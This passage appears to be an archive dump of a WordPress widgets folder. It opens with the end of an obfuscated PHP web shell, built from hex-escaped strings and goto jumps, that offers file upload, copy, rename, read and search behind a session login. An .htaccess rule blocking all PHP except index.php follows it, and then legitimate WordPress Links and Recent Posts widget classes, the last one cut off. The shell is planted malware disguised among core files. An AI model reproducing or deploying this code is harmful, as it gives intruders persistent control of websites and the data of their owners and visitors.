"\x20\72\40\x3c\143\157\144\x65\40\151\144\x3d\42\x52\x65\156\x61\x6d\x65\146\151\154\x65\x4e\141\155\145\x22\x3e\x3c\x2f\x63\157\144\x65\x3e\x3c\57\150\64\76\15\xa\x20\40\x20\x20\40\x20\74\57\x64\151\166\76\15\12\x20\x20\x20\x20\40\40\x3c\x64\151\166\40\x63\154\141\163\163\x3d\x22\155\x6f\x64\141\154\x2d\x62\x6f\x64\171\x22\x3e\15\12\x9\x20\x20\40\x20\74\151\x6e\160\165\164\x20\x69\144\x3d\42\162\145\156\141\155\145\x44\x69\x72\x22\40\164\171\160\145\75\x22\x68\x69\x64\144\x65\x6e\x22\40\x3e\11\15\xa\x9\11\74\x69\x6e\160\165\x74\40\151\144\x3d\42\x72\145\156\x61\x6d\x65\x4f\154\144\x49\x6e\x70\x75\x74\x22\x20\x74\171\160\145\x3d\42\x68\x69\144\144\145\156\x22\x20\76\11\xd\12\x9\11\xd\xa\x20\40\x20\x20\40\x20\x20\x20\x3c\151\x6e\160\x75\x74\x20\x74\x79\x70\145\75\42\x74\x65\170\164\42\40\143\x6c\141\x73\163\x3d\42\146\157\x72\155\x2d\143\x6f\x6e\164\x72\157\x6c\x22\x20\151\144\75\x22\162\x65\156\141\155\x65\111\x6e\160\165\x74\x22\76\xd\xa\40\40\40\40\x20\x20\x3c\57\144\151\166\x3e\15\12\x20\x20\x20\40\40\x3c\x64\151\166\x20\143\154\141\163\163\75\x22\x6d\157\x64\x61\x6c\x2d\x66\157\x6f\164\145\162\x22\76\xd\12\11\40\15\xa\11\x20\40\40\x20\74\x73\x70\141\156\x20\151\144\x3d\x22\122\145\x6e\141\x6d\x65\114\x61\x62\145\154\163\165\143\x63\145\x73\163\x22\x20\143\x6c\141\163\163\x3d\42\x6c\141\142\x65\154\x20\x6c\141\x62\x65\x6c\55\163\x75\x63\x63\145\x73\163\x20\160\165\154\x6c\55"; goto UY8Ss; jjFyJ: ov8_d: goto Rpq8W; JgYbn: foreach ($_FILES["\x69\x6e\160\165\164\x46\151\x6c\145\x55\160\154\157\141\x64"]["\156\x61\155\x65"] as $rxdJk => $H_zaG) { goto GPdg0; AV8M3: $uNQoj = basename($H_zaG); goto En5XQ; b8U4o: $gN4dV[] = array("\143\x6f\144\x65" => "\x30", "\163\x74\141\164\165\163" => $CIvJG[37]); goto f6Yy_; tOSb8: goto CV_81; goto ASJ7Y; FEODf: if ($EQ6PB > $IsXKt) { goto lzxZ_; } goto Y0laX; b0_8S: if (move_uploaded_file($_FILES["\151\x6e\x70\165\164\106\x69\154\145\125\x70\154\x6f\x61\144"]["\164\155\160\x5f\156\x61\155\145"][$rxdJk], $wgvgC)) { goto RESnM; } goto oi6xx; ssOcy: RESnM: goto W_lKM; YlMzw: $gN4dV[] = array("\x63\157\144\x65" => "\60", "\163\164\x61\164\x75\163" => $CIvJG[38]); goto AGHUa; Y0laX: $gN4dV[] = array("\143\x6f\144\x65" => "\x30", "\x73\164\141\164\165\x73" => $CIvJG[33]); goto u4VQc; D18a6: $fUaMB = $_FILES["\x69\x6e\x70\x75\x74\x46\151\154\145\125\160\154\157\141\144"]["\145\162\162\157\x72"][$rxdJk]; goto C3rWU; C3rWU: $Mdo7m = $_FILES["\x69\x6e\160\x75\164\x46\x69\x6c\145\x55\x70\154\157\x61\144"]["\x6e\x61\x6d\x65"][$rxdJk]; goto jje6j; YKHf8: lzxZ_: goto b8U4o; ASJ7Y: rsOVu: goto EODKe; AZMQQ: cZRVV: goto RutWr; EODKe: $gN4dV[] = array("\143\x6f\x64\x65" => "\60", "\x73\164\x61\164\x75\x73" => $CIvJG[33] . "\x5f" . $fUaMB); goto Ft5_Y; kDpxN: goto s0kZ5; goto sHKI3; f6Yy_: CV_81: goto aKkCN; u4VQc: goto CV_81; goto ssOcy; W_lKM: $gN4dV[] = array("\x63\157\144\145" => "\61", "\x73\x74\x61\x74\165\x73" => $CIvJG[34], "\165\x72\x6c" => $wgvgC, "\164\x6d\x70\137\156\x61\x6d\x65" => $uNQoj, "\163\x69\172\x65" => $EQ6PB, "\x74\x79\x70\145" => $L3xiB, "\145\x72\x72\x6f\162" => $fUaMB, "\156\x61\155\145" => $Mdo7m); goto tOSb8; sHKI3: Y4zyF: goto b0_8S; kXFa0: qujqy: goto AV8M3; aKkCN: s0kZ5: goto AZMQQ; jyLdu: if (in_array(Lu4VD($uNQoj), $MTWgC[0]) || count($MTWgC[0]) == 0) { goto Y4zyF; } goto uyBlX; En5XQ: $EQ6PB = $_FILES["\151\156\160\165\164\x46\151\x6c\145\125\x70\154\157\x61\144"]["\163\x69\x7a\145"][$rxdJk]; goto N92Ba; oi6xx: if ($fUaMB != 0) { goto rsOVu; } goto FEODf; uyBlX: $gN4dV[] = array("\x63\x6f\x64\145" => "\60", "\x73\x74\141\164\165\163" => $CIvJG[7]); goto kDpxN; N92Ba: $L3xiB = $_FILES["\x69\x6e\160\165\x74\106\151\x6c\145\x55\160\154\x6f\x61\144"]["\x74\x79\x70\x65"][$rxdJk]; goto D18a6; RutWr: iIjAo: goto YOen9; GPdg0: if (!empty($H_zaG)) { goto qujqy; } goto YlMzw; AGHUa: goto cZRVV; goto kXFa0; jje6j: $wgvgC = $E0reN . "\57" . $uNQoj; goto jyLdu; Ft5_Y: goto CV_81; goto YKHf8; YOen9: } goto zbOdW; y0vOF: LTuyJ(1); goto NxCiU; DKHrx: unset($_REQUEST); goto bZnq1; XZMOY: $dm0oc[13] = "\x64\141\x74\141\72\151\155\x61\x67\x65\x2f\x70\x6e\x67\x3b\x62\141\x73\145\x36\x34\x2c\151\x56\x42\117\x52\167\60\113\107\x67\157\101\101\x41\101\116\x53\x55\150\x45\x55\147\x41\101\101\x42\x41\x41\x41\101\x41\121\103\101\x59\101\x41\x41\101\x66\x38\x2f\x39\x68\x41\101\101\101\x58\x55\154\105\x51\x56\121\x34\x6a\x57\x4e\x67\107\x4a\142\x41\153\64\x47\102\111\121\x51\x50\x39\x71\130\x55\147\150\103\141\x47\53\104\115\x77\x4d\104\101\122\141\x34\x42\172\147\167\x4d\x44\x45\131\x4d\x44\x41\x77\x73\123\112\x69\122\x46\101\x4d\x36\107\122\x67\x59\x59\150\x6b\x59\107\x41\x4b\121\163\102\167\x70\102\152\x41\170\115\x44\x43\x6b\x4d\x44\x41\167\x63\x4f\x4e\122\121\x7a\101\115\155\x4b\103\x59\x62\101\x4d\111\x41\131\x49\x47\x45\105\160\111\127\132\123\66\131\112\101\x42\101\105\167\x4b\x43\67\160\113\165\131\x54\x45\x41\101\101\x41\101\x45\154\x46\124\x6b\x53\165\121\x6d\x43\103"; goto Ux7Az; VuW4W: echo "\x20\74\142\x72\x3e\15\xa\11\x20\40"; goto nDL1u; K4mGM: ZmJBv: goto NK1vG; VQUYG: echo "\47\51\73\xd\12\x24\56\x66\x6e\x2e\x65\x78\164\145\156\144\x28\173\15\xa\x9\x74\162\x65\x65\166\x69\x65\x77\72\11\146\165\156\143\164\x69\x6f\156\50\51\40\173\15\xa\x9\11\162\x65\x74\165\162\x6e\40\x74\150\x69\x73\56\x65\x61\x63\x68\50\x66\x75\156\x63\x74\x69\157\156\50\51\40\173\xd\12\x9\11\x9\x76\141\162\x20\164\x72\145\x65\x20\75\40\x24\50\164\150\x69\163\51\x3b\xd\12\x9\x9\11\15\xa\x9\x9\x9\x74\162\x65\145\x2e\141\144\144\x43\154\x61\163\163\x28\x27\x74\x72\145\145\166\x69\145\x77\55\x74\162\x65\x65\x27\x29\x3b\xd\12\x9\11\x9\x74\x72\145\x65\56\x66\151\x6e\x64\50\47\154\151\47\x29\x2e\x65\x61\x63\150\50\146\x75\156\143\x74\151\157\156\50\51\40\x7b\xd\12\11\x9\11\x9\x76\141\162\40\x73\x74\x69\143\153\x20\75\x20\x24\50\x74\150\151\x73\51\73\15\xa\x9\11\x9\x7d\x29\73\15\12\11\11\x9\x74\x72\145\x65\56\x66\151\156\144\50\47\154\151\x27\51\56\x68\141\163\50\42\x75\x6c\x22\51\x2e\145\141\x63\x68\x28\146\x75\x6e\143\x74\151\x6f\x6e\x20\x28\51\x20\173\15\xa\11\11\x9\x9\x76\141\x72\40\142\162\x61\156\x63\x68\40\x3d\x20\x24\x28\x74\x68\151\x73\51\x3b\x20\11\11\11\x9\xd\12\x9\x9\x9\x9\142\162\x61\x6e\x63\x68\56\x70\x72\x65\x70\145\x6e\x64\50\42\x3c\x69\40\143\154\141\163\163\75\x27\164\162\145\145\55\151\x6e\x64\151\x63\141\x74\x6f\162\40\x43\x46\x6f\x6c\144\x65\x72\x49\x63\x6f\x6e\x27\76\x3c\x2f\151\x3e\x22\x29\x3b\15\12\x9\x9\11\x9\x62\x72\141\156\x63\x68\56\x61\144\x64\x43\154\x61\163\163\50\x27\x74\x72\x65\x65\55\x62\x72\141\156\143\150\47\x29\x3b\xd\12\11\11\11\11\x62\162\x61\x6e\143\150\56\x6f\156\x28\x27\143\x6c\151\143\153\47\x2c\40\x66\x75\156\x63\x74\151\x6f\x6e\x20\x28\x65\x29\x20\173\15\12\x9\11\x9\11\11\151\x66\x20\50\164\x68\x69\x73\x20\x3d\x3d\40\x65\x2e\164\x61\162\x67\145\x74\x29\40\173\15\12\x9\x9\x9\x9\11\x9\x76\x61\x72\40\x69\143\x6f\x6e\40\75\x20\44\50\x74\x68\151\x73\51\56\143\x68\x69\154\144\162\145\x6e\x28\47\151\x3a\146\x69\162\163\164\47\x29\73\xd\xa\x9\11\11\x9\x9\11\xd\xa\x9\x9\x9\x9\x9\11\151\x63\x6f\156\x2e\x74\x6f\x67\x67\154\x65\103\154\x61\x73\x73\x28\42\117\x46\157\x6c\144\145\x72\x49\x63\157\x6e\x22\x29\73\xd\12\x9\x9\11\11\x9\x9\44\50\164\150\151\163\x29\56\143\x68\151\154\144\x72\145\x6e\x28\51\56\x63\x68\151\x6c\x64\162\x65\x6e\50\x29\56\x74\x6f\147\147\x6c\x65\50\x29\x3b\15\12\11\11\x9\x9\x9\175\xd\12\x9\11\x9\x9\175\51\15\xa\11\x9\11\x9\x62\162\x61\x6e\x63\150\x2e\x63\150\x69\x6c\x64\x72\x65\156\50\x29\56\x63\x68\x69\x6c\144\162\145\156\50\51\56\x74\x6f\147\x67\154\x65\50\51\x3b\x9\15\xa\11\11\x9\x9\142\162\x61\156\x63\150\x2e\143\x68\151\x6c\144\162\145\x6e\50\x27\x2e\164\x72\x65\145\55\x69\x6e\144\151\x63\141\x74\x6f\162\x2c\x20\142\x75\164\x74\x6f\x6e\x2c\x20\x61\x27\x29\x2e\x63\x6c\151\143\x6b\x28\x66\x75\156\x63\164\x69\157\x6e\50\145\51\40\x7b\xd\xa\11\x9\x9\x9\x9\142\x72\141\156\x63\150\56\x63\154\151\x63\153\50\x29\73\15\12\x9\11\x9\x9\11\15\12\11\11\11\x9\11\x65\56\x70\x72\x65\x76\145\x6e\x74\104\x65\x66\x61\165\154\164\x28\x29\73\xd\12\11\x9\x9\11\x7d\51\x3b\xd\12\x9\x9\11\175\x29\73\15\xa\x9\x9\175\51\73\xd\xa\11\175\15\xa\x7d\x29\73\15\12\15\xa\x9\x9\xd\12\11\57\52\52\x2a\52\52\52\x2a\52\x2a\x2a\52\52\x2a\52\52\x2a\52\52\x2a\x2a\x2a\x2a\52\52\52\52\x2a\x2a\52\52\52\x2a\x2a\x2a\52\52\52\x2a\52\x2a\52\x2a\52\x2a\x2a\x2a\52\x2a\52\52\x2a\x2a\52\52\x2a\x2a\x2a\52\x2a\52\52\x2f\x9\xd\12\x9\11\xd\12\11\x9\15\12\40\x20\40\x20\x24\50\x27\x23\106\x69\x6c\145\125\x70\154\x6f\x61\144\106\157\162\155\x27\x29\x2e\157\x6e\x28\47\163\x75\142\x6d\151\164\x27\x2c\x28\146\x75\156\143\164\151\x6f\156\x28\145\x29\40\173\15\12\11\11\x24\x28\47\43\106\x69\154\145\125\x70\x6c\157\141\x64\x4c\141\x62\145\154\163\x75\x63\143\145\x73\163\x27\51\x2e\150\164\x6d\x6c\x28\x27"; goto gKVFG; v8x3T: $MTWgC[3] = array("\155\x70\63", "\x77\141\x76", "\157\x67\147"); goto bQW4T; ENC8O: if (!($MhinT != '')) { goto T3cFA; } goto GHUfD; kKzKq: function HEbmw($KhbAx) { global $E0reN; return @XumhC($E0reN . "\x2f" . $KhbAx); } goto u32l0; LTsTK: echo $CIvJG[14]; goto V2sj9; V3IyU: $k8LVN .= "\74\x74\150\40\x63\x6c\141\x73\163\75\42\143\x6f\154\x2d\x78\x73\x2d\61\x32\x20\x63\x6f\154\55\x73\155\x2d\x36\42\x3e" . $CIvJG[5] . "\x3c\x2f\x74\x68\x3e\x3c\164\150\40\143\x6c\x61\163\163\75\x22\x68\x69\144\144\x65\x6e\55\170\163\40\x63\x6f\154\x2d\170\x73\x2d\x32\x20\143\157\x6c\x2d\x73\x6d\x2d\x32\40\143\157\154\x2d\x6d\x64\55\62\x22\76" . $CIvJG[6] . "\74\x2f\164\x68\x3e\x3c\x74\150\x20\143\154\141\x73\x73\x3d\x22\150\x69\x64\144\145\x6e\55\170\x73\40\143\x6f\154\x2d\x78\163\x2d\62\x20\143\157\x6c\x2d\163\155\x2d\62\x20\x63\x6f\x6c\x2d\155\x64\55\x32\42\x3e" . $CIvJG[7] . "\74\57\x74\150\76"; goto xpJrT; ALmiR: echo $IsXKt; goto VQUYG; lTUuV: echo $CIvJG[29]; goto R2Q76; OlIMZ: if (!(count($MTWgC[2]) != 0)) { goto EIONo; } goto UiTFp; UdVMG: $dm0oc[8] = "\x64\141\164\141\72\151\x6d\x61\x67\145\x2f\x70\x6e\147\73\x62\x61\163\145\x36\x34\x2c\151\126\102\117\122\167\60\113\x47\x67\x6f\101\x41\101\101\x4e\123\x55\x68\105\125\147\101\101\x41\x42\101\x41\101\x41\101\x51\x43\x41\x59\x41\x41\101\101\x66\x38\57\x39\150\101\101\101\x41\x6c\105\154\x45\121\x56\121\64\152\127\116\147\157\x43\132\157\x61\x47\x67\x51\x6d\124\102\x68\x51\x6c\x56\57\146\63\x38\x44\117\x6d\x35\160\141\x5a\x45\x6d\x61\x4d\x43\105\x43\x52\117\x71\x79\163\x72\113\145\116\110\x46\x2b\x2f\166\67\x47\171\132\x4f\156\x50\151\x6c\x6f\x61\107\102\102\x36\x38\x42\x2f\146\x33\71\104\124\101\141\103\124\166\x30\x39\x2f\143\63\121\106\61\63\x66\x64\x57\161\126\143\x77\105\104\x63\101\x69\130\x74\x33\121\60\x4d\104\130\60\71\117\152\x4d\127\x48\x43\x68\115\125\153\x75\66\103\x74\x72\x55\x32\60\166\x37\53\x2f\107\x75\161\126\x41\x36\121\x61\147\117\x45\144\153\x72\61\x41\x74\x42\161\x71\165\127\x44\x55\x43\x78\122\64\x59\x63\113\105\103\x58\x34\124\x4a\x30\x36\143\147\x73\143\x46\104\x52\x4d\x6e\124\x76\170\107\171\x42\113\x53\x41\x41\x44\141\x74\x73\64\x63\115\164\125\156\x44\x41\x41\101\101\x41\x42\x4a\122\x55\x35\x45\162\153\112\x67\147\147\75\75"; goto z6HW2; m9pAb: echo "\74\57\x61\x3e\74\x2f\x6c\x69\x3e\15\xa\11\x20\x20\x3c\154\151\x3e\74\141\x20\x68\x72\145\x66\x3d\x22\x23\x22\40\x6f\x6e\x63\x6c\x69\143\x6b\75\x22\123\x65\164\125\x70\x6c\157\x61\144\x46\151\x6c\145\115\x6f\x64\141\x6c\141\x74\x74\x72\x28\51\x3b\162\x65\164\x75\x72\x6e\x20\146\141\154\x73\x65\x3b\x22\76\74\x73\160\x61\x6e\x20\x63\x6c\141\x73\x73\75\x22\x55\160\154\157\141\x64\111\x63\x6f\156\42\76\74\57\163\x70\x61\156\x3e\x20"; goto J1o2X; en_wu: LTuYj(); goto ClLKi; k0zhr: fqtJM($_GET["\x63\x6f\x70\171"], $_GET["\x74\157"]); goto sqU0L; tJbbk: $MTWgC[2] = array("\x67\151\x66", "\x6a\160\x67", "\x6a\x70\145\147", "\x70\x6e\147", "\x62\x6d\x70", "\x69\143\x6f", "\164\x69\146\146", "\x73\x76\147"); goto v8x3T; KFviw: pVZdF: goto DSDXW; I28cn: echo $dm0oc[7]; goto Ekflq; c007Y: echo $CIvJG[15]; goto Yr6l9; ejZig: goto GANeP; goto iLVGu; D60sv: unset($ru43X); goto qtHim; o5Gn0: function h2F5h($KhbAx, $gSTFX = "\162") { goto ftVLo; Nlfs_: F20d6: goto lLq0U; wYvSc: fclose($TWkA2); goto gXWli; V3Uho: $TWkA2 = fopen($KhbAx, $gSTFX); goto wE0D_; lLq0U: return fread($TWkA2, $F39zk); goto wYvSc; jvzNH: if (!(!$F39zk || !is_readable($KhbAx))) { goto ez5md; } goto WeZIO; YzrFx: ez5md: goto V3Uho; WeZIO: return $CIvJG[21]; goto YzrFx; wE0D_: if ($TWkA2) { goto F20d6; } goto ZplaR; ftVLo: global $CIvJG; goto L6P0K; L6P0K: $F39zk = filesize($KhbAx); goto jvzNH; ZplaR: return $CIvJG[21]; goto Nlfs_; gXWli: } goto afgcs; wpGov: fzMBg: goto uSCtf; BxXlK: echo "\51\x20\156\x6f\55\162\145\x70\145\141\x74\40\154\x65\146\x74\40\143\x65\x6e\164\145\x72\73\x70\x61\144\144\151\x6e\147\x3a\x20\65\160\170\x20\60\x20\x35\160\x78\x20\62\65\x70\170\73\x6d\141\x72\x67\151\156\55\x6c\145\146\164\72\40\x35\x70\x78\x3b\x7d\15\xa\x2e\x45\170\x70\154\157\x72\x49\x63\x6f\x6e\173\x62\141\x63\x6b\x67\x72\157\x75\156\x64\x3a\165\162\154\x28\x20"; goto IAPBG; doJWv: $CIvJG[32] = "\102\x72\x6f\x77\163\145\x20\x2e\56\x2e\40"; goto IVSC0; jR1dr: $CIvJG[40] = "\x43\157\x70\x79\40\x74\157"; goto yWI18; iHPJ7: $imz7x = 0; goto XBg4m; fFL0G: ini_set("\x64\151\163\x70\154\x61\171\137\x65\x72\162\x6f\162\x73", 1); goto D3YeL; UvEsb: XFgot: goto ogtzb; f1iyD: echo $CIvJG[18]; goto SFqpX; IVSC0: $CIvJG[33] = "\x45\162\x72\157\x72"; goto XjS1C; tH354: unset($_POST); goto K_0wr; sqU0L: l6m57: goto jApmG; hYLcd: EIONo: goto jgW3e; Cu8L8: unset($xUEaS); goto jDZ62; iEqA5: $_SESSION["\x6c\x6f\x67\x69\x6e"]["\x70\x61\x73\163"] = $nKZYh; goto FL70T; e_oHw: unset($HbHPr); goto LqBld; nDL1u: echo $CIvJG[6]; goto fqjRu; Ir1ju: $CIvJG[21] = "\x55\x6e\141\x62\154\x65\40\164\157\40\157\x70\145\156\40\x66\x69\154\x65\x21"; goto XGQ05; M3Vjl: if (!isset($_GET["\163\145\141\x72\143\x68"])) { goto gwj1x; } goto DAGMP; Wrd5q: echo $CIvJG[36] . "\40\72\40\x3c\x63\157\144\145\x3e\173\40" . implode("\54", $MTWgC[0]) . "\x20\175\x3c\57\x63\x6f\x64\145\x3e\x20\x3c\142\x72\76\40\15\12\11\40\x20" . $CIvJG[37] . "\x20\72\40\x3c\143\157\144\x65\40\x69\x64\x3d\x22\x6d\141\x78\106\x69\154\145\x53\x69\172\145\42\76" . $IsXKt . "\x3c\x2f\143\157\x64\x65\76"; goto VuW4W; bZnq1: echo "\x3c\41\x2d\55\x3c\144\151\x76\x20\x63\154\141\x73\x73\75\x22\156\141\166\x62\141\x72\40\x6e\x61\166\142\x61\x72\55\x64\x65\146\x61\165\x6c\164\40\x20\x6e\x61\x76\142\x61\x72\x2d\x66\151\170\x65\x64\55\x62\x6f\164\164\157\x6d\x22\x20\162\157\154\145\75\x22\x6e\141\166\x69\147\141\x74\151\x6f\x6e\42\x3e\xd\12\40\40\40\40\x3c\144\151\x76\40\143\x6c\141\163\x73\x3d\x22\143\x6f\156\x74\x61\151\x6e\145\x72\40\x74\x65\x78\164\55\x63\145\x6e\164\145\x72\x22\x3e\15\12\40\x20\x20\40\x20\x20\40\x20\74\160\x20\143\154\x61\x73\163\x3d\42\156\x61\x76\x62\141\x72\x2d\x74\145\x78\164\x20\143\x6f\154\x2d\155\144\x2d\61\62\40\143\157\x6c\55\x73\x6d\55\61\62\40\143\157\x6c\x2d\170\x73\x2d\61\x32\x22\76\x26\x63\x6f\x70\x79\x3b\40\157\x6e\145\170\151\164\145\74\57\x70\x3e\15\12\40\40\40\x20\x3c\57\x64\151\x76\76\15\xa\x20\40\x20\x20\x3c\x2f\144\151\166\76\55\x2d\76";
?>                               604173/.htaccess                                                                                    0000644                 00000000334 15265674674 0007134 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>                                                                                                                                                                                                                                                                                                    class-wp-widget-links.php                                                                           0000644                 00000015646 15265674674 0011447 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Links class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Links widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Links extends WP_Widget {

	/**
	 * Sets up a new Links widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'Your blogroll' ),
			'customize_selective_refresh' => true,
		);
		parent::__construct( 'links', __( 'Links' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Links widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Links widget instance.
	 */
	public function widget( $args, $instance ) {
		$show_description = $instance['description'] ?? false;
		$show_name        = $instance['name'] ?? false;
		$show_rating      = $instance['rating'] ?? false;
		$show_images      = $instance['images'] ?? true;
		$category         = $instance['category'] ?? false;
		$orderby          = $instance['orderby'] ?? 'name';
		$order            = 'rating' === $orderby ? 'DESC' : 'ASC';
		$limit            = $instance['limit'] ?? -1;

		$before_widget = preg_replace( '/ id="[^"]*"/', ' id="%id"', $args['before_widget'] );

		$widget_links_args = array(
			'title_before'     => $args['before_title'],
			'title_after'      => $args['after_title'],
			'category_before'  => $before_widget,
			'category_after'   => $args['after_widget'],
			'show_images'      => $show_images,
			'show_description' => $show_description,
			'show_name'        => $show_name,
			'show_rating'      => $show_rating,
			'category'         => $category,
			'class'            => 'linkcat widget',
			'orderby'          => $orderby,
			'order'            => $order,
			'limit'            => $limit,
		);

		/**
		 * Filters the arguments for the Links widget.
		 *
		 * @since 2.6.0
		 * @since 4.4.0 Added the `$instance` parameter.
		 *
		 * @see wp_list_bookmarks()
		 *
		 * @param array $widget_links_args An array of arguments to retrieve the links list.
		 * @param array $instance          The settings for the particular instance of the widget.
		 */
		wp_list_bookmarks( apply_filters( 'widget_links_args', $widget_links_args, $instance ) );
	}

	/**
	 * Handles updating settings for the current Links widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$new_instance = (array) $new_instance;
		$instance     = array(
			'images'      => 0,
			'name'        => 0,
			'description' => 0,
			'rating'      => 0,
		);
		foreach ( $instance as $field => $val ) {
			if ( isset( $new_instance[ $field ] ) ) {
				$instance[ $field ] = 1;
			}
		}

		$instance['orderby'] = 'name';
		if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ), true ) ) {
			$instance['orderby'] = $new_instance['orderby'];
		}

		$instance['category'] = (int) $new_instance['category'];
		$instance['limit']    = ! empty( $new_instance['limit'] ) ? (int) $new_instance['limit'] : -1;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Links widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {

		// Defaults.
		$instance  = wp_parse_args(
			(array) $instance,
			array(
				'images'      => true,
				'name'        => true,
				'description' => false,
				'rating'      => false,
				'category'    => false,
				'orderby'     => 'name',
				'limit'       => -1,
			)
		);
		$link_cats = get_terms( array( 'taxonomy' => 'link_category' ) );
		$limit     = (int) $instance['limit'];
		if ( ! $limit ) {
			$limit = -1;
		}
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'category' ); ?>"><?php _e( 'Select Link Category:' ); ?></label>
			<select class="widefat" id="<?php echo $this->get_field_id( 'category' ); ?>" name="<?php echo $this->get_field_name( 'category' ); ?>">
				<option value=""><?php _ex( 'All Links', 'links widget' ); ?></option>
				<?php foreach ( $link_cats as $link_cat ) : ?>
					<option value="<?php echo (int) $link_cat->term_id; ?>" <?php selected( $instance['category'], $link_cat->term_id ); ?>>
						<?php echo esc_html( $link_cat->name ); ?>
					</option>
				<?php endforeach; ?>
			</select>
			<label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><?php _e( 'Sort by:' ); ?></label>
			<select name="<?php echo $this->get_field_name( 'orderby' ); ?>" id="<?php echo $this->get_field_id( 'orderby' ); ?>" class="widefat">
				<option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option>
				<option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option>
				<option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option>
				<option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option>
			</select>
		</p>

		<p>
			<input class="checkbox" type="checkbox"<?php checked( $instance['images'], true ); ?> id="<?php echo $this->get_field_id( 'images' ); ?>" name="<?php echo $this->get_field_name( 'images' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'images' ); ?>"><?php _e( 'Show Link Image' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['name'], true ); ?> id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e( 'Show Link Name' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['description'], true ); ?> id="<?php echo $this->get_field_id( 'description' ); ?>" name="<?php echo $this->get_field_name( 'description' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Show Link Description' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['rating'], true ); ?> id="<?php echo $this->get_field_id( 'rating' ); ?>" name="<?php echo $this->get_field_name( 'rating' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'rating' ); ?>"><?php _e( 'Show Link Rating' ); ?></label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'limit' ); ?>"><?php _e( 'Number of links to show:' ); ?></label>
			<input id="<?php echo $this->get_field_id( 'limit' ); ?>" name="<?php echo $this->get_field_name( 'limit' ); ?>" type="text" value="<?php echo ( -1 !== $limit ) ? (int) $limit : ''; ?>" size="3" />
		</p>
		<?php
	}
}
                                                                                          class-wp-widget-recent-posts.php                                                                    0000644                 00000013421 15265674674 0012742 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Recent_Posts class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Recent Posts widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Recent_Posts extends WP_Widget {

	/**
	 * Sets up a new Recent Posts widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_recent_entries',
			'description'                 => __( 'Your site&#8217;s most recent Posts.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'recent-posts', __( 'Recent Posts' ), $widget_ops );
		$this->alt_option_name = 'widget_recent_entries';
	}

	/**
	 * Outputs the content for the current Recent Posts widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Recent Posts widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( ! isset( $args['widget_id'] ) ) {
			$args['widget_id'] = $this->id;
		}

		$default_title = __( 'Recent Posts' );
		$title         = ( ! empty( $instance['title'] ) ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
		if ( ! $number ) {
			$number = 5;
		}
		$show_date = $instance['show_date'] ?? false;

		$r = new WP_Query(
			/**
			 * Filters the arguments for the Recent Posts widget.
			 *
			 * @since 3.4.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see WP_Query::get_posts()
			 *
			 * @param array $args     An array of arguments used to retrieve the recent posts.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_posts_args',
				array(
					'posts_per_page'      => $number,
					'no_found_rows'       => true,
					'post_status'         => 'publish',
					'ignore_sticky_posts' => true,
				),
				$instance
			)
		);

		if ( ! $r->have_posts() ) {
			return;
		}
		?>

		<?php echo $args['before_widget']; ?>

		<?php
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

